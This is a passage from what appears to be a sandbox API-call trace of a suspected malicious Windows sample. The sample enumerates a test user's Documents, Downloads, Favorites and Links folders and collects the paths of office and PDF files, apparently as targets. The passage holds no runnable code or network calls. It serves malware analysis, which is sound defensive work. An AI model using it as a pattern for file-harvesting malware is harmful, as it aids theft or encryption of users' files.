(lpString="c:\\Users\\aETAdzjz\\Documents\\") returned 28 [0121.644] lstrlenW (lpString="jtfunIUKTuKB.rtf") returned 16 [0121.644] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Documents\\", lpString2="jtfunIUKTuKB.rtf" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\jtfunIUKTuKB.rtf") returned="c:\\Users\\aETAdzjz\\Documents\\jtfunIUKTuKB.rtf" [0121.644] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\jtfunIUKTuKB.rtf") returned 44 [0121.644] lstrcpyW (in: lpString1=0x24ad690, lpString2="c:\\Users\\aETAdzjz\\Documents\\jtfunIUKTuKB.rtf" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\jtfunIUKTuKB.rtf") returned="c:\\Users\\aETAdzjz\\Documents\\jtfunIUKTuKB.rtf" [0121.644] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.644] lstrcmpW (lpString1="kjO Dw4y7j6PSDs.pptx", lpString2=".") returned 1 [0121.644] lstrcmpW (lpString1="kjO Dw4y7j6PSDs.pptx", lpString2="..") returned 1 [0121.644] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\") returned 28 [0121.644] lstrlenW (lpString="kjO Dw4y7j6PSDs.pptx") returned 20 [0121.644] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Documents\\", lpString2="kjO Dw4y7j6PSDs.pptx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\kjO Dw4y7j6PSDs.pptx") returned="c:\\Users\\aETAdzjz\\Documents\\kjO Dw4y7j6PSDs.pptx" [0121.644] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\kjO Dw4y7j6PSDs.pptx") returned 48 [0121.644] lstrcpyW (in: lpString1=0x24ae690, lpString2="c:\\Users\\aETAdzjz\\Documents\\kjO Dw4y7j6PSDs.pptx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\kjO Dw4y7j6PSDs.pptx") returned="c:\\Users\\aETAdzjz\\Documents\\kjO Dw4y7j6PSDs.pptx" [0121.644] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.644] lstrcmpW (lpString1="kpRhFe62wLyHm_gju5i.xlsx", lpString2=".") returned 1 [0121.644] lstrcmpW (lpString1="kpRhFe62wLyHm_gju5i.xlsx", lpString2="..") returned 1 [0121.644] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\") returned 28 [0121.644] lstrlenW (lpString="kpRhFe62wLyHm_gju5i.xlsx") returned 24 [0121.644] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Documents\\", lpString2="kpRhFe62wLyHm_gju5i.xlsx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\kpRhFe62wLyHm_gju5i.xlsx") returned="c:\\Users\\aETAdzjz\\Documents\\kpRhFe62wLyHm_gju5i.xlsx" [0121.644] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\kpRhFe62wLyHm_gju5i.xlsx") returned 52 [0121.644] lstrcpyW (in: lpString1=0x24a8f18, lpString2="c:\\Users\\aETAdzjz\\Documents\\kpRhFe62wLyHm_gju5i.xlsx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\kpRhFe62wLyHm_gju5i.xlsx") returned="c:\\Users\\aETAdzjz\\Documents\\kpRhFe62wLyHm_gju5i.xlsx" [0121.644] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.644] lstrcmpW (lpString1="My Music", lpString2=".") returned 1 [0121.644] lstrcmpW (lpString1="My Music", lpString2="..") returned 1 [0121.644] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\") returned 28 [0121.644] lstrlenW (lpString="My Music") returned 8 [0121.644] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Documents\\", lpString2="My Music" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\My Music") returned="c:\\Users\\aETAdzjz\\Documents\\My Music" [0121.644] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.644] lstrcmpW (lpString1="My Pictures", lpString2=".") returned 1 [0121.644] lstrcmpW (lpString1="My Pictures", lpString2="..") returned 1 [0121.644] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\") returned 28 [0121.644] lstrlenW (lpString="My Pictures") returned 11 [0121.644] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Documents\\", lpString2="My Pictures" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\My Pictures") returned="c:\\Users\\aETAdzjz\\Documents\\My Pictures" [0121.645] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.645] lstrcmpW (lpString1="My Shapes", lpString2=".") returned 1 [0121.645] lstrcmpW (lpString1="My Shapes", lpString2="..") returned 1 [0121.645] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\") returned 28 [0121.645] lstrlenW (lpString="My Shapes") returned 9 [0121.645] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Documents\\", lpString2="My Shapes" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\My Shapes") returned="c:\\Users\\aETAdzjz\\Documents\\My Shapes" [0121.645] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.645] lstrcmpW (lpString1="My Videos", lpString2=".") returned 1 [0121.645] lstrcmpW (lpString1="My Videos", lpString2="..") returned 1 [0121.645] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\") returned 28 [0121.645] lstrlenW (lpString="My Videos") returned 9 [0121.645] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Documents\\", lpString2="My Videos" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\My Videos") returned="c:\\Users\\aETAdzjz\\Documents\\My Videos" [0121.645] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.645] lstrcmpW (lpString1="nEyS-vVYoVcjNl64w.pdf", lpString2=".") returned 1 [0121.645] lstrcmpW (lpString1="nEyS-vVYoVcjNl64w.pdf", lpString2="..") returned 1 [0121.645] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\") returned 28 [0121.645] lstrlenW (lpString="nEyS-vVYoVcjNl64w.pdf") returned 21 [0121.645] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Documents\\", lpString2="nEyS-vVYoVcjNl64w.pdf" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\nEyS-vVYoVcjNl64w.pdf") returned="c:\\Users\\aETAdzjz\\Documents\\nEyS-vVYoVcjNl64w.pdf" [0121.645] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\nEyS-vVYoVcjNl64w.pdf") returned 49 [0121.645] lstrcpyW (in: lpString1=0x24ae700, lpString2="c:\\Users\\aETAdzjz\\Documents\\nEyS-vVYoVcjNl64w.pdf" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\nEyS-vVYoVcjNl64w.pdf") returned="c:\\Users\\aETAdzjz\\Documents\\nEyS-vVYoVcjNl64w.pdf" [0121.645] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.645] lstrcmpW (lpString1="OE_9.docx", lpString2=".") returned 1 [0121.645] lstrcmpW (lpString1="OE_9.docx", lpString2="..") returned 1 [0121.645] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\") returned 28 [0121.645] lstrlenW (lpString="OE_9.docx") returned 9 [0121.645] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Documents\\", lpString2="OE_9.docx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\OE_9.docx") returned="c:\\Users\\aETAdzjz\\Documents\\OE_9.docx" [0121.645] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\OE_9.docx") returned 37 [0121.645] lstrcpyW (in: lpString1=0x24ab6d0, lpString2="c:\\Users\\aETAdzjz\\Documents\\OE_9.docx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\OE_9.docx") returned="c:\\Users\\aETAdzjz\\Documents\\OE_9.docx" [0121.645] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.645] lstrcmpW (lpString1="OneNote Notebooks", lpString2=".") returned 1 [0121.645] lstrcmpW (lpString1="OneNote Notebooks", lpString2="..") returned 1 [0121.645] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\") returned 28 [0121.645] lstrlenW (lpString="OneNote Notebooks") returned 17 [0121.645] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Documents\\", lpString2="OneNote Notebooks" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks") returned="c:\\Users\\aETAdzjz\\Documents\\OneNote Notebooks" [0121.645] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.645] lstrcmpW (lpString1="Outlook Files", lpString2=".") returned 1 [0121.645] lstrcmpW (lpString1="Outlook Files", lpString2="..") returned 1 [0121.646] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\") returned 28 [0121.646] lstrlenW (lpString="Outlook Files") returned 13 [0121.646] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Documents\\", lpString2="Outlook Files" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\Outlook Files") returned="c:\\Users\\aETAdzjz\\Documents\\Outlook Files" [0121.646] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.646] lstrcmpW (lpString1="Pu8nkjiAKviOXnl1Gn5.docx", lpString2=".") returned 1 [0121.646] lstrcmpW (lpString1="Pu8nkjiAKviOXnl1Gn5.docx", lpString2="..") returned 1 [0121.646] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\") returned 28 [0121.646] lstrlenW (lpString="Pu8nkjiAKviOXnl1Gn5.docx") returned 24 [0121.646] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Documents\\", lpString2="Pu8nkjiAKviOXnl1Gn5.docx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\Pu8nkjiAKviOXnl1Gn5.docx") returned="c:\\Users\\aETAdzjz\\Documents\\Pu8nkjiAKviOXnl1Gn5.docx" [0121.646] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\Pu8nkjiAKviOXnl1Gn5.docx") returned 52 [0121.646] lstrcpyW (in: lpString1=0x24a8f90, lpString2="c:\\Users\\aETAdzjz\\Documents\\Pu8nkjiAKviOXnl1Gn5.docx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\Pu8nkjiAKviOXnl1Gn5.docx") returned="c:\\Users\\aETAdzjz\\Documents\\Pu8nkjiAKviOXnl1Gn5.docx" [0121.646] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.646] lstrcmpW (lpString1="w39fbPx.pptx", lpString2=".") returned 1 [0121.646] lstrcmpW (lpString1="w39fbPx.pptx", lpString2="..") returned 1 [0121.646] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\") returned 28 [0121.646] lstrlenW (lpString="w39fbPx.pptx") returned 12 [0121.646] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Documents\\", lpString2="w39fbPx.pptx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\w39fbPx.pptx") returned="c:\\Users\\aETAdzjz\\Documents\\w39fbPx.pptx" [0121.646] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\w39fbPx.pptx") returned 40 [0121.646] lstrcpyW (in: lpString1=0x24ac6f0, lpString2="c:\\Users\\aETAdzjz\\Documents\\w39fbPx.pptx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\w39fbPx.pptx") returned="c:\\Users\\aETAdzjz\\Documents\\w39fbPx.pptx" [0121.646] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.646] lstrcmpW (lpString1="Wvwv-n0sd.pptx", lpString2=".") returned 1 [0121.646] lstrcmpW (lpString1="Wvwv-n0sd.pptx", lpString2="..") returned 1 [0121.646] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\") returned 28 [0121.646] lstrlenW (lpString="Wvwv-n0sd.pptx") returned 14 [0121.646] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Documents\\", lpString2="Wvwv-n0sd.pptx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\Wvwv-n0sd.pptx") returned="c:\\Users\\aETAdzjz\\Documents\\Wvwv-n0sd.pptx" [0121.646] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\Wvwv-n0sd.pptx") returned 42 [0121.646] lstrcpyW (in: lpString1=0x24ac750, lpString2="c:\\Users\\aETAdzjz\\Documents\\Wvwv-n0sd.pptx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\Wvwv-n0sd.pptx") returned="c:\\Users\\aETAdzjz\\Documents\\Wvwv-n0sd.pptx" [0121.646] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.646] lstrcmpW (lpString1="XoRtIuBcm 9dtD-.xlsx", lpString2=".") returned 1 [0121.646] lstrcmpW (lpString1="XoRtIuBcm 9dtD-.xlsx", lpString2="..") returned 1 [0121.646] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\") returned 28 [0121.646] lstrlenW (lpString="XoRtIuBcm 9dtD-.xlsx") returned 20 [0121.646] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Documents\\", lpString2="XoRtIuBcm 9dtD-.xlsx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\XoRtIuBcm 9dtD-.xlsx") returned="c:\\Users\\aETAdzjz\\Documents\\XoRtIuBcm 9dtD-.xlsx" [0121.646] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\XoRtIuBcm 9dtD-.xlsx") returned 48 [0121.646] lstrcpyW (in: lpString1=0x24ae770, lpString2="c:\\Users\\aETAdzjz\\Documents\\XoRtIuBcm 9dtD-.xlsx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\XoRtIuBcm 9dtD-.xlsx") returned="c:\\Users\\aETAdzjz\\Documents\\XoRtIuBcm 9dtD-.xlsx" [0121.646] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.646] lstrcmpW (lpString1="yuLsb9JD4.pptx", lpString2=".") returned 1 [0121.646] lstrcmpW (lpString1="yuLsb9JD4.pptx", lpString2="..") returned 1 [0121.646] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\") returned 28 [0121.646] lstrlenW (lpString="yuLsb9JD4.pptx") returned 14 [0121.646] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Documents\\", lpString2="yuLsb9JD4.pptx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\yuLsb9JD4.pptx") returned="c:\\Users\\aETAdzjz\\Documents\\yuLsb9JD4.pptx" [0121.646] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\yuLsb9JD4.pptx") returned 42 [0121.646] lstrcpyW (in: lpString1=0x24ac7b0, lpString2="c:\\Users\\aETAdzjz\\Documents\\yuLsb9JD4.pptx" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\yuLsb9JD4.pptx") returned="c:\\Users\\aETAdzjz\\Documents\\yuLsb9JD4.pptx" [0121.646] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.646] lstrcmpW (lpString1="_r0qj", lpString2=".") returned 1 [0121.646] lstrcmpW (lpString1="_r0qj", lpString2="..") returned 1 [0121.646] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Documents\\") returned 28 [0121.646] lstrlenW (lpString="_r0qj") returned 5 [0121.646] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Documents\\", lpString2="_r0qj" | out: lpString1="c:\\Users\\aETAdzjz\\Documents\\_r0qj") returned="c:\\Users\\aETAdzjz\\Documents\\_r0qj" [0121.646] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0121.646] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0121.647] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.647] lstrcmpW (lpString1="Downloads", lpString2=".") returned 1 [0121.647] lstrcmpW (lpString1="Downloads", lpString2="..") returned 1 [0121.647] lstrlenW (lpString="c:\\Users\\aETAdzjz\\") returned 18 [0121.647] lstrlenW (lpString="Downloads") returned 9 [0121.647] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\", lpString2="Downloads" | out: lpString1="c:\\Users\\aETAdzjz\\Downloads") returned="c:\\Users\\aETAdzjz\\Downloads" [0121.647] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Downloads", lpString2="\\" | out: lpString1="c:\\Users\\aETAdzjz\\Downloads\\") returned="c:\\Users\\aETAdzjz\\Downloads\\" [0121.647] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Downloads\\") returned 28 [0121.647] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Downloads\\", lpString2="*" | out: lpString1="c:\\Users\\aETAdzjz\\Downloads\\*") returned="c:\\Users\\aETAdzjz\\Downloads\\*" [0121.647] FindFirstFileW (in: lpFileName="c:\\Users\\aETAdzjz\\Downloads\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0121.647] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.647] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.647] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.647] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.647] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.647] lstrcmpW (lpString1="ChromeSetup.exe", lpString2=".") returned 1 [0121.647] lstrcmpW (lpString1="ChromeSetup.exe", lpString2="..") returned 1 [0121.647] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Downloads\\") returned 28 [0121.647] lstrlenW (lpString="ChromeSetup.exe") returned 15 [0121.647] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Downloads\\", lpString2="ChromeSetup.exe" | out: lpString1="c:\\Users\\aETAdzjz\\Downloads\\ChromeSetup.exe") returned="c:\\Users\\aETAdzjz\\Downloads\\ChromeSetup.exe" [0121.647] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Downloads\\ChromeSetup.exe") returned 43 [0121.647] lstrcpyW (in: lpString1=0x24ac810, lpString2="c:\\Users\\aETAdzjz\\Downloads\\ChromeSetup.exe" | out: lpString1="c:\\Users\\aETAdzjz\\Downloads\\ChromeSetup.exe") returned="c:\\Users\\aETAdzjz\\Downloads\\ChromeSetup.exe" [0121.647] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.647] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0121.647] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0121.647] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Downloads\\") returned 28 [0121.647] lstrlenW (lpString="desktop.ini") returned 11 [0121.647] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Downloads\\", lpString2="desktop.ini" | out: lpString1="c:\\Users\\aETAdzjz\\Downloads\\desktop.ini") returned="c:\\Users\\aETAdzjz\\Downloads\\desktop.ini" [0121.647] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Downloads\\desktop.ini") returned 39 [0121.647] lstrcpyW (in: lpString1=0x24ab728, lpString2="c:\\Users\\aETAdzjz\\Downloads\\desktop.ini" | out: lpString1="c:\\Users\\aETAdzjz\\Downloads\\desktop.ini") returned="c:\\Users\\aETAdzjz\\Downloads\\desktop.ini" [0121.647] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0121.647] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0121.647] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.647] lstrcmpW (lpString1="Favorites", lpString2=".") returned 1 [0121.647] lstrcmpW (lpString1="Favorites", lpString2="..") returned 1 [0121.647] lstrlenW (lpString="c:\\Users\\aETAdzjz\\") returned 18 [0121.647] lstrlenW (lpString="Favorites") returned 9 [0121.647] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\", lpString2="Favorites" | out: lpString1="c:\\Users\\aETAdzjz\\Favorites") returned="c:\\Users\\aETAdzjz\\Favorites" [0121.647] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Favorites", lpString2="\\" | out: lpString1="c:\\Users\\aETAdzjz\\Favorites\\") returned="c:\\Users\\aETAdzjz\\Favorites\\" [0121.647] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Favorites\\") returned 28 [0121.647] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Favorites\\", lpString2="*" | out: lpString1="c:\\Users\\aETAdzjz\\Favorites\\*") returned="c:\\Users\\aETAdzjz\\Favorites\\*" [0121.648] FindFirstFileW (in: lpFileName="c:\\Users\\aETAdzjz\\Favorites\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0121.648] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.648] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.648] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.648] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.648] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.648] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0121.648] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0121.648] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Favorites\\") returned 28 [0121.648] lstrlenW (lpString="desktop.ini") returned 11 [0121.648] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Favorites\\", lpString2="desktop.ini" | out: lpString1="c:\\Users\\aETAdzjz\\Favorites\\desktop.ini") returned="c:\\Users\\aETAdzjz\\Favorites\\desktop.ini" [0121.648] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Favorites\\desktop.ini") returned 39 [0121.648] lstrcpyW (in: lpString1=0x24ab780, lpString2="c:\\Users\\aETAdzjz\\Favorites\\desktop.ini" | out: lpString1="c:\\Users\\aETAdzjz\\Favorites\\desktop.ini") returned="c:\\Users\\aETAdzjz\\Favorites\\desktop.ini" [0121.648] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.648] lstrcmpW (lpString1="Links", lpString2=".") returned 1 [0121.648] lstrcmpW (lpString1="Links", lpString2="..") returned 1 [0121.648] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Favorites\\") returned 28 [0121.648] lstrlenW (lpString="Links") returned 5 [0121.648] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Favorites\\", lpString2="Links" | out: lpString1="c:\\Users\\aETAdzjz\\Favorites\\Links") returned="c:\\Users\\aETAdzjz\\Favorites\\Links" [0121.648] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.648] lstrcmpW (lpString1="Microsoft Websites", lpString2=".") returned 1 [0121.648] lstrcmpW (lpString1="Microsoft Websites", lpString2="..") returned 1 [0121.648] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Favorites\\") returned 28 [0121.648] lstrlenW (lpString="Microsoft Websites") returned 18 [0121.648] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Favorites\\", lpString2="Microsoft Websites" | out: lpString1="c:\\Users\\aETAdzjz\\Favorites\\Microsoft Websites") returned="c:\\Users\\aETAdzjz\\Favorites\\Microsoft Websites" [0121.648] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.648] lstrcmpW (lpString1="MSN Websites", lpString2=".") returned 1 [0121.648] lstrcmpW (lpString1="MSN Websites", lpString2="..") returned 1 [0121.648] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Favorites\\") returned 28 [0121.648] lstrlenW (lpString="MSN Websites") returned 12 [0121.648] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Favorites\\", lpString2="MSN Websites" | out: lpString1="c:\\Users\\aETAdzjz\\Favorites\\MSN Websites") returned="c:\\Users\\aETAdzjz\\Favorites\\MSN Websites" [0121.648] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.648] lstrcmpW (lpString1="Windows Live", lpString2=".") returned 1 [0121.648] lstrcmpW (lpString1="Windows Live", lpString2="..") returned 1 [0121.648] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Favorites\\") returned 28 [0121.648] lstrlenW (lpString="Windows Live") returned 12 [0121.648] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Favorites\\", lpString2="Windows Live" | out: lpString1="c:\\Users\\aETAdzjz\\Favorites\\Windows Live") returned="c:\\Users\\aETAdzjz\\Favorites\\Windows Live" [0121.648] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0121.648] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0121.648] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.648] lstrcmpW (lpString1="Links", lpString2=".") returned 1 [0121.648] lstrcmpW (lpString1="Links", lpString2="..") returned 1 [0121.648] lstrlenW (lpString="c:\\Users\\aETAdzjz\\") returned 18 [0121.648] lstrlenW (lpString="Links") returned 5 [0121.648] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\", lpString2="Links" | out: lpString1="c:\\Users\\aETAdzjz\\Links") returned="c:\\Users\\aETAdzjz\\Links" [0121.648] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Links", lpString2="\\" | out: lpString1="c:\\Users\\aETAdzjz\\Links\\") returned="c:\\Users\\aETAdzjz\\Links\\" [0121.648] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Links\\") returned 24 [0121.649] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Links\\", lpString2="*" | out: lpString1="c:\\Users\\aETAdzjz\\Links\\*") returned="c:\\Users\\aETAdzjz\\Links\\*" [0121.649] FindFirstFileW (in: lpFileName="c:\\Users\\aETAdzjz\\Links\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0121.649] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.649] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.649] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.649] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.649] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.649] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0121.649] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0121.649] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Links\\") returned 24 [0121.649] lstrlenW (lpString="desktop.ini") returned 11 [0121.649] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Links\\", lpString2="desktop.ini" | out: lpString1="c:\\Users\\aETAdzjz\\Links\\desktop.ini") returned="c:\\Users\\aETAdzjz\\Links\\desktop.ini" [0121.649] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Links\\desktop.ini") returned 35 [0121.649] lstrcpyW (in: lpString1=0x24af678, lpString2="c:\\Users\\aETAdzjz\\Links\\desktop.ini" | out: lpString1="c:\\Users\\aETAdzjz\\Links\\desktop.ini") returned="c:\\Users\\aETAdzjz\\Links\\desktop.ini" [0121.649] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.649] lstrcmpW (lpString1="Desktop.lnk", lpString2=".") returned 1 [0121.649] lstrcmpW (lpString1="Desktop.lnk", lpString2="..") returned 1 [0121.649] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Links\\") returned 24 [0121.649] lstrlenW (lpString="Desktop.lnk") returned 11 [0121.649] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Links\\", lpString2="Desktop.lnk" | out: 